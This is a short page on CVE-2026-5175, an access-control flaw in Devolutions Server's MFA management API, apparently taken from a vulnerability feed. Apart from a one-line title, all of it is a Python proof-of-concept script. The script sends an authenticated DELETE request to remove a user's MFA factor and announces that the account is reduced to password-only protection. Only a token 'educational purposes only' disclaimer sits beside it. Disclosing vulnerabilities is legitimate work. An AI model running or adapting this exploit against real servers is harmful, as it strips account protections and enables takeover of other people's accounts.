CVE-2026-5175 Devolutions Server MFA访问控制漏洞

import requests # PoC for CVE-2026-5175: Improper Access Control in MFA Management API # Warning: For educational purposes only. Do not use against systems without permission. target_url = "https://<target-server>/api/v1/mfa/factors/{factor_id}" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Authorization": "Bearer <valid_auth_token>", "Accept": "application/json" } # Attempt to delete the MFA factor associated with the authenticated user try: response = requests.delete(target_url, headers=headers) if response.status_code == 204: print("[+] Success: MFA factor removed. Account protection reduced to password-only.") elif response.status_code == 200: print("[+] Success: Server acknowledged the removal of MFA factor.") else: print(f"[-] Failed: HTTP {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}")